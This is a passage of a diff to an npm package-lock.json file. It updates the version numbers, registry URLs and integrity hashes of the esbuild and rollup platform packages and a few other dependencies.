"sha512-yJAVPklM5+4+9dTeKwHOaA+LQkmrKFX96BM0A/2zQrbS6ENCmxc4OVoBs5dPkCCak2roAD+jKCdnmOqKszPkjA==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.11.tgz", + "integrity": "sha512-Sgiab4xBjPU1QoPEIqS3Xx+R2lezu0LKIEcYe6pftr56PqPygbB7+szVnzoShbx64MUupqoE0KyRlN7gezbl8g==", "cpu": [ "x64" ], @@ -172,9 +172,9 @@ } }, "node_modules/@esbuild/darwin-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.8.tgz", - "integrity": "sha512-Jw0mxgIaYX6R8ODrdkLLPwBqHTtYHJSmzzd+QeytSugzQ0Vg4c5rDky5VgkoowbZQahCbsv1rT1KW72MPIkevw==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.11.tgz", + "integrity": "sha512-VekY0PBCukppoQrycFxUqkCojnTQhdec0vevUL/EDOCnXd9LKWqD/bHwMPzigIJXPhC59Vd1WFIL57SKs2mg4w==", "cpu": [ "arm64" ], @@ -189,9 +189,9 @@ } }, "node_modules/@esbuild/darwin-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.8.tgz", - "integrity": "sha512-Vh2gLxxHnuoQ+GjPNvDSDRpoBCUzY4Pu0kBqMBDlK4fuWbKgGtmDIeEC081xi26PPjn+1tct+Bh8FjyLlw1Zlg==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.11.tgz", + "integrity": "sha512-+hfp3yfBalNEpTGp9loYgbknjR695HkqtY3d3/JjSRUyPg/xd6q+mQqIb5qdywnDxRZykIHs3axEqU6l1+oWEQ==", "cpu": [ "x64" ], @@ -206,9 +206,9 @@ } }, "node_modules/@esbuild/freebsd-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.8.tgz", - "integrity": "sha512-YPJ7hDQ9DnNe5vxOm6jaie9QsTwcKedPvizTVlqWG9GBSq+BuyWEDazlGaDTC5NGU4QJd666V0yqCBL2oWKPfA==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.11.tgz", + "integrity": "sha512-CmKjrnayyTJF2eVuO//uSjl/K3KsMIeYeyN7FyDBjsR3lnSJHaXlVoAK8DZa7lXWChbuOk7NjAc7ygAwrnPBhA==", "cpu": [ "arm64" ], @@ -223,9 +223,9 @@ } }, "node_modules/@esbuild/freebsd-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.8.tgz", - "integrity": "sha512-MmaEXxQRdXNFsRN/KcIimLnSJrk2r5H8v+WVafRWz5xdSVmWLoITZQXcgehI2ZE6gioE6HirAEToM/RvFBeuhw==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.11.tgz", + "integrity": "sha512-Dyq+5oscTJvMaYPvW3x3FLpi2+gSZTCE/1ffdwuM6G1ARang/mb3jvjxs0mw6n3Lsw84ocfo9CrNMqc5lTfGOw==", "cpu": [ "x64" ], @@ -240,9 +240,9 @@ } }, "node_modules/@esbuild/linux-arm": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.8.tgz", - "integrity": "sha512-FuzEP9BixzZohl1kLf76KEVOsxtIBFwCaLupVuk4eFVnOZfU+Wsn+x5Ryam7nILV2pkq2TqQM9EZPsOBuMC+kg==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.11.tgz", + "integrity": "sha512-TBMv6B4kCfrGJ8cUPo7vd6NECZH/8hPpBHHlYI3qzoYFvWu2AdTvZNuU/7hsbKWqu/COU7NIK12dHAAqBLLXgw==", "cpu": [ "arm" ], @@ -257,9 +257,9 @@ } }, "node_modules/@esbuild/linux-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.8.tgz", - "integrity": "sha512-WIgg00ARWv/uYLU7lsuDK00d/hHSfES5BzdWAdAig1ioV5kaFNrtK8EqGcUBJhYqotlUByUKz5Qo6u8tt7iD/w==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.11.tgz", + "integrity": "sha512-Qr8AzcplUhGvdyUF08A1kHU3Vr2O88xxP0Tm8GcdVOUm25XYcMPp2YqSVHbLuXzYQMf9Bh/iKx7YPqECs6ffLA==", "cpu": [ "arm64" ], @@ -274,9 +274,9 @@ } }, "node_modules/@esbuild/linux-ia32": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.8.tgz", - "integrity": "sha512-A1D9YzRX1i+1AJZuFFUMP1E9fMaYY+GnSQil9Tlw05utlE86EKTUA7RjwHDkEitmLYiFsRd9HwKBPEftNdBfjg==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.11.tgz", + "integrity": "sha512-TmnJg8BMGPehs5JKrCLqyWTVAvielc615jbkOirATQvWWB1NMXY77oLMzsUjRLa0+ngecEmDGqt5jiDC6bfvOw==", "cpu": [ "ia32" ], @@ -291,9 +291,9 @@ } }, "node_modules/@esbuild/linux-loong64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.8.tgz", - "integrity": "sha512-O7k1J/dwHkY1RMVvglFHl1HzutGEFFZ3kNiDMSOyUrB7WcoHGf96Sh+64nTRT26l3GMbCW01Ekh/ThKM5iI7hQ==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.11.tgz", + "integrity": "sha512-DIGXL2+gvDaXlaq8xruNXUJdT5tF+SBbJQKbWy/0J7OhU8gOHOzKmGIlfTTl6nHaCOoipxQbuJi7O++ldrxgMw==", "cpu": [ "loong64" ], @@ -308,9 +308,9 @@ } }, "node_modules/@esbuild/linux-mips64el": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.8.tgz", - "integrity": "sha512-uv+dqfRazte3BzfMp8PAQXmdGHQt2oC/y2ovwpTteqrMx2lwaksiFZ/bdkXJC19ttTvNXBuWH53zy/aTj1FgGw==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.11.tgz", + "integrity": "sha512-Osx1nALUJu4pU43o9OyjSCXokFkFbyzjXb6VhGIJZQ5JZi8ylCQ9/LFagolPsHtgw6himDSyb5ETSfmp4rpiKQ==", "cpu": [ "mips64el" ], @@ -325,9 +325,9 @@ } }, "node_modules/@esbuild/linux-ppc64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.8.tgz", - "integrity": "sha512-GyG0KcMi1GBavP5JgAkkstMGyMholMDybAf8wF5A70CALlDM2p/f7YFE7H92eDeH/VBtFJA5MT4nRPDGg4JuzQ==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.11.tgz", + "integrity": "sha512-nbLFgsQQEsBa8XSgSTSlrnBSrpoWh7ioFDUmwo158gIm5NNP+17IYmNWzaIzWmgCxq56vfr34xGkOcZ7jX6CPw==", "cpu": [ "ppc64" ], @@ -342,9 +342,9 @@ } }, "node_modules/@esbuild/linux-riscv64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.8.tgz", - "integrity": "sha512-rAqDYFv3yzMrq7GIcen3XP7TUEG/4LK86LUPMIz6RT8A6pRIDn0sDcvjudVZBiiTcZCY9y2SgYX2lgK3AF+1eg==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.11.tgz", + "integrity": "sha512-HfyAmqZi9uBAbgKYP1yGuI7tSREXwIb438q0nqvlpxAOs3XnZ8RsisRfmVsgV486NdjD7Mw2UrFSw51lzUk1ww==", "cpu": [ "riscv64" ], @@ -359,9 +359,9 @@ } }, "node_modules/@esbuild/linux-s390x": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.8.tgz", - "integrity": "sha512-Xutvh6VjlbcHpsIIbwY8GVRbwoviWT19tFhgdA7DlenLGC/mbc3lBoVb7jxj9Z+eyGqvcnSyIltYUrkKzWqSvg==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.11.tgz", + "integrity": "sha512-HjLqVgSSYnVXRisyfmzsH6mXqyvj0SA7pG5g+9W7ESgwA70AXYNpfKBqh1KbTxmQVaYxpzA/SvlB9oclGPbApw==", "cpu": [ "s390x" ], @@ -376,9 +376,9 @@ } }, "node_modules/@esbuild/linux-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.8.tgz", - "integrity": "sha512-ASFQhgY4ElXh3nDcOMTkQero4b1lgubskNlhIfJrsH5OKZXDpUAKBlNS0Kx81jwOBp+HCeZqmoJuihTv57/jvQ==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.11.tgz", + "integrity": "sha512-HSFAT4+WYjIhrHxKBwGmOOSpphjYkcswF449j6EjsjbinTZbp8PJtjsVK1XFJStdzXdy/jaddAep2FGY+wyFAQ==", "cpu": [ "x64" ], @@ -393,9 +393,9 @@ } }, "node_modules/@esbuild/netbsd-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.8.tgz", - "integrity": "sha512-d1KfruIeohqAi6SA+gENMuObDbEjn22olAR7egqnkCD9DGBG0wsEARotkLgXDu6c4ncgWTZJtN5vcgxzWRMzcw==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.11.tgz", + "integrity": "sha512-hr9Oxj1Fa4r04dNpWr3P8QKVVsjQhqrMSUzZzf+LZcYjZNqhA3IAfPQdEh1FLVUJSiu6sgAwp3OmwBfbFgG2Xg==", "cpu": [ "arm64" ], @@ -410,9 +410,9 @@ } }, "node_modules/@esbuild/netbsd-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.8.tgz", - "integrity": "sha512-nVDCkrvx2ua+XQNyfrujIG38+YGyuy2Ru9kKVNyh5jAys6n+l44tTtToqHjino2My8VAY6Lw9H7RI73XFi66Cg==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.11.tgz", + "integrity": "sha512-u7tKA+qbzBydyj0vgpu+5h5AeudxOAGncb8N6C9Kh1N4n7wU1Xw1JDApsRjpShRpXRQlJLb9wY28ELpwdPcZ7A==", "cpu": [ "x64" ], @@ -427,9 +427,9 @@ } }, "node_modules/@esbuild/openbsd-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.8.tgz", - "integrity": "sha512-j8HgrDuSJFAujkivSMSfPQSAa5Fxbvk4rgNAS5i3K+r8s1X0p1uOO2Hl2xNsGFppOeHOLAVgYwDVlmxhq5h+SQ==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.11.tgz", + "integrity": "sha512-Qq6YHhayieor3DxFOoYM1q0q1uMFYb7cSpLD2qzDSvK1NAvqFi8Xgivv0cFC6J+hWVw2teCYltyy9/m/14ryHg==", "cpu": [ "arm64" ], @@ -444,9 +444,9 @@ } }, "node_modules/@esbuild/openbsd-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.8.tgz", - "integrity": "sha512-1h8MUAwa0VhNCDp6Af0HToI2TJFAn1uqT9Al6DJVzdIBAd21m/G0Yfc77KDM3uF3T/YaOgQq3qTJHPbTOInaIQ==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.11.tgz", + "integrity": "sha512-CN+7c++kkbrckTOz5hrehxWN7uIhFFlmS/hqziSFVWpAzpWrQoAG4chH+nN3Be+Kzv/uuo7zhX716x3Sn2Jduw==", "cpu": [ "x64" ], @@ -461,9 +461,9 @@ } }, "node_modules/@esbuild/openharmony-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.8.tgz", - "integrity": "sha512-r2nVa5SIK9tSWd0kJd9HCffnDHKchTGikb//9c7HX+r+wHYCpQrSgxhlY6KWV1nFo1l4KFbsMlHk+L6fekLsUg==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.11.tgz", + "integrity": "sha512-rOREuNIQgaiR+9QuNkbkxubbp8MSO9rONmwP5nKncnWJ9v5jQ4JxFnLu4zDSRPf3x4u+2VN4pM4RdyIzDty/wQ==", "cpu": [ "arm64" ], @@ -478,9 +478,9 @@ } }, "node_modules/@esbuild/sunos-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.8.tgz", - "integrity": "sha512-zUlaP2S12YhQ2UzUfcCuMDHQFJyKABkAjvO5YSndMiIkMimPmxA+BYSBikWgsRpvyxuRnow4nS5NPnf9fpv41w==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.11.tgz", + "integrity": "sha512-nq2xdYaWxyg9DcIyXkZhcYulC6pQ2FuCgem3LI92IwMgIZ69KHeY8T4Y88pcwoLIjbed8n36CyKoYRDygNSGhA==", "cpu": [ "x64" ], @@ -495,9 +495,9 @@ } }, "node_modules/@esbuild/win32-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.8.tgz", - "integrity": "sha512-YEGFFWESlPva8hGL+zvj2z/SaK+pH0SwOM0Nc/d+rVnW7GSTFlLBGzZkuSU9kFIGIo8q9X3ucpZhu8PDN5A2sQ==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.11.tgz", + "integrity": "sha512-3XxECOWJq1qMZ3MN8srCJ/QfoLpL+VaxD/WfNRm1O3B4+AZ/BnLVgFbUV3eiRYDMXetciH16dwPbbHqwe1uU0Q==", "cpu": [ "arm64" ], @@ -512,9 +512,9 @@ } }, "node_modules/@esbuild/win32-ia32": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.8.tgz", - "integrity": "sha512-hiGgGC6KZ5LZz58OL/+qVVoZiuZlUYlYHNAmczOm7bs2oE1XriPFi5ZHHrS8ACpV5EjySrnoCKmcbQMN+ojnHg==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.11.tgz", + "integrity": "sha512-3ukss6gb9XZ8TlRyJlgLn17ecsK4NSQTmdIXRASVsiS2sQ6zPPZklNJT5GR5tE/MUarymmy8kCEf5xPCNCqVOA==", "cpu": [ "ia32" ], @@ -529,9 +529,9 @@ } }, "node_modules/@esbuild/win32-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.8.tgz", - "integrity": "sha512-cn3Yr7+OaaZq1c+2pe+8yxC8E144SReCQjN6/2ynubzYjvyqZjTXfQJpAcQpsdJq3My7XADANiYGHoFC69pLQw==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.11.tgz", + "integrity": "sha512-D7Hpz6A2L4hzsRpPaCYkQnGOotdUpDzSGRIv9I+1ITdHROSFUWW95ZPZWQmGka1Fg7W3zFJowyn9WGwMJ0+KPA==", "cpu": [ "x64" ], @@ -546,9 +546,9 @@ } }, "node_modules/@ioredis/commands": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/@ioredis/commands/-/commands-1.3.0.tgz", - "integrity": "sha512-M/T6Zewn7sDaBQEqIZ8Rb+i9y8qfGmq+5SDFSf9sA2lUZTmdDLVdOiQaeDp+Q4wElZ9HG1GAX5KhDaidp6LQsQ==", + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@ioredis/commands/-/commands-1.4.0.tgz", + "integrity": "sha512-aFT2yemJJo+TZCmieA7qnYGQooOS7QfNmYrzGtsYd3g9j5iDP8AimYYAesf79ohjbLG12XxC4nG5DyEnC88AsQ==", "license": "MIT" }, "node_modules/@isaacs/fs-minipass": { @@ -565,9 +565,9 @@ } }, "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.12", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz", - "integrity": "sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==", + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", "dev": true, "license": "MIT", "dependencies": { @@ -586,16 +586,16 @@ } }, "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.4", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz", - "integrity": "sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==", + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", "dev": true, "license": "MIT" }, "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.29", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", - "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", "dev": true, "license": "MIT", "dependencies": { @@ -604,9 +604,9 @@ } }, "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.46.2.tgz", - "integrity": "sha512-Zj3Hl6sN34xJtMv7Anwb5Gu01yujyE/cLBDB2gnHTAHaWS1Z38L7kuSG+oAh0giZMqG060f/YBStXtMH6FvPMA==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.52.4.tgz", + "integrity": "sha512-BTm2qKNnWIQ5auf4deoetINJm2JzvihvGb9R6K/ETwKLql/Bb3Eg2H1FBp1gUb4YGbydMA3jcmQTR73q7J+GAA==", "cpu": [ "arm" ], @@ -618,9 +618,9 @@ ] }, "node_modules/@rollup/rollup-android-arm64": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.46.2.tgz", - "integrity": "sha512-nTeCWY83kN64oQ5MGz3CgtPx8NSOhC5lWtsjTs+8JAJNLcP3QbLCtDDgUKQc/Ro/frpMq4SHUaHN6AMltcEoLQ==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.52.4.tgz", + "integrity": "sha512-P9LDQiC5vpgGFgz7GSM6dKPCiqR3XYN1WwJKA4/BUVDjHpYsf3iBEmVz62uyq20NGYbiGPR5cNHI7T1HqxNs2w==", "cpu": [ "arm64" ], @@ -632,9 +632,9 @@ ] }, "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.46.2.tgz", - "integrity": "sha512-HV7bW2Fb/F5KPdM/9bApunQh68YVDU8sO8BvcW9OngQVN3HHHkw99wFupuUJfGR9pYLLAjcAOA6iO+evsbBaPQ==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.52.4.tgz", + "integrity": "sha512-QRWSW+bVccAvZF6cbNZBJwAehmvG9NwfWHwMy4GbWi/BQIA/laTIktebT2ipVjNncqE6GLPxOok5hsECgAxGZg==", "cpu": [ "arm64" ], @@ -646,9 +646,9 @@ ] }, "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.46.2.tgz", - "integrity": "sha512-SSj8TlYV5nJixSsm/y3QXfhspSiLYP11zpfwp6G/YDXctf3Xkdnk4woJIF5VQe0of2OjzTt8EsxnJDCdHd2xMA==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.52.4.tgz", + "integrity": "sha512-hZgP05pResAkRJxL1b+7yxCnXPGsXU0fG9Yfd6dUaoGk+FhdPKCJ5L1Sumyxn8kvw8Qi5PvQ8ulenUbRjzeCTw==", "cpu": [ "x64" ], @@ -660,9 +660,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.46.2.tgz", - "integrity": "sha512-ZyrsG4TIT9xnOlLsSSi9w/X29tCbK1yegE49RYm3tu3wF1L/B6LVMqnEWyDB26d9Ecx9zrmXCiPmIabVuLmNSg==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.52.4.tgz", + "integrity": "sha512-xmc30VshuBNUd58Xk4TKAEcRZHaXlV+tCxIXELiE9sQuK3kG8ZFgSPi57UBJt8/ogfhAF5Oz4ZSUBN77weM+mQ==", "cpu": [ "arm64" ], @@ -674,9 +674,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.46.2.tgz", - "integrity": "sha512-pCgHFoOECwVCJ5GFq8+gR8SBKnMO+xe5UEqbemxBpCKYQddRQMgomv1104RnLSg7nNvgKy05sLsY51+OVRyiVw==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.52.4.tgz", + "integrity": "sha512-WdSLpZFjOEqNZGmHflxyifolwAiZmDQzuOzIq9L27ButpCVpD7KzTRtEG1I0wMPFyiyUdOO+4t8GvrnBLQSwpw==", "cpu": [ "x64" ], @@ -688,9 +688,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.46.2.tgz", - "integrity": "sha512-EtP8aquZ0xQg0ETFcxUbU71MZlHaw9MChwrQzatiE8U/bvi5uv/oChExXC4mWhjiqK7azGJBqU0tt5H123SzVA==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.52.4.tgz", + "integrity": "sha512-xRiOu9Of1FZ4SxVbB0iEDXc4ddIcjCv2aj03dmW8UrZIW7aIQ9jVJdLBIhxBI+MaTnGAKyvMwPwQnoOEvP7FgQ==", "cpu": [ "arm" ], @@ -702,9 +702,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.46.2.tgz", - "integrity": "sha512-qO7F7U3u1nfxYRPM8HqFtLd+raev2K137dsV08q/LRKRLEc7RsiDWihUnrINdsWQxPR9jqZ8DIIZ1zJJAm5PjQ==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.52.4.tgz", + "integrity": "sha512-FbhM2p9TJAmEIEhIgzR4soUcsW49e9veAQCziwbR+XWB2zqJ12b4i/+hel9yLiD8pLncDH4fKIPIbt5238341Q==", "cpu": [ "arm" ], @@ -716,9 +716,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.46.2.tgz", - "integrity": "sha512-3dRaqLfcOXYsfvw5xMrxAk9Lb1f395gkoBYzSFcc/scgRFptRXL9DOaDpMiehf9CO8ZDRJW2z45b6fpU5nwjng==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.52.4.tgz", + "integrity": "sha512-4n4gVwhPHR9q/g8lKCyz0yuaD0MvDf7dV4f9tHt0C73Mp8h38UCtSCSE6R9iBlTbXlmA8CjpsZoujhszefqueg==", "cpu": [ "arm64" ], @@ -730,9 +730,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.46.2.tgz", - "integrity": "sha512-fhHFTutA7SM+IrR6lIfiHskxmpmPTJUXpWIsBXpeEwNgZzZZSg/q4i6FU4J8qOGyJ0TR+wXBwx/L7Ho9z0+uDg==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.52.4.tgz", + "integrity": "sha512-u0n17nGA0nvi/11gcZKsjkLj1QIpAuPFQbR48Subo7SmZJnGxDpspyw2kbpuoQnyK+9pwf3pAoEXerJs/8Mi9g==", "cpu": [ "arm64" ], @@ -743,10 +743,10 @@ "linux" ] }, - "node_modules/@rollup/rollup-linux-loongarch64-gnu": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.46.2.tgz", - "integrity": "sha512-i7wfGFXu8x4+FRqPymzjD+Hyav8l95UIZ773j7J7zRYc3Xsxy2wIn4x+llpunexXe6laaO72iEjeeGyUFmjKeA==", + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.52.4.tgz", + "integrity": "sha512-0G2c2lpYtbTuXo8KEJkDkClE/+/2AFPdPAbmaHoE870foRFs4pBrDehilMcrSScrN/fB/1HTaWO4bqw+ewBzMQ==", "cpu": [ "loong64" ], @@ -758,9 +758,9 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.46.2.tgz", - "integrity": "sha512-B/l0dFcHVUnqcGZWKcWBSV2PF01YUt0Rvlurci5P+neqY/yMKchGU8ullZvIv5e8Y1C6wOn+U03mrDylP5q9Yw==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.52.4.tgz", + "integrity": "sha512-teSACug1GyZHmPDv14VNbvZFX779UqWTsd7KtTM9JIZRDI5NUwYSIS30kzI8m06gOPB//jtpqlhmraQ68b5X2g==", "cpu": [ "ppc64" ], @@ -772,9 +772,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.46.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.46.2.tgz", - "integrity": "sha512-32k4ENb5ygtkMwPMucAb8MtV8olkPT03oiTxJbgkJa7lJ7dZMr0GCFJlyvy+K8iq7F/iuOr41ZdUHaOiqyR3iQ==", + "version": "4.52.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.52.4.tgz", + "integrity": 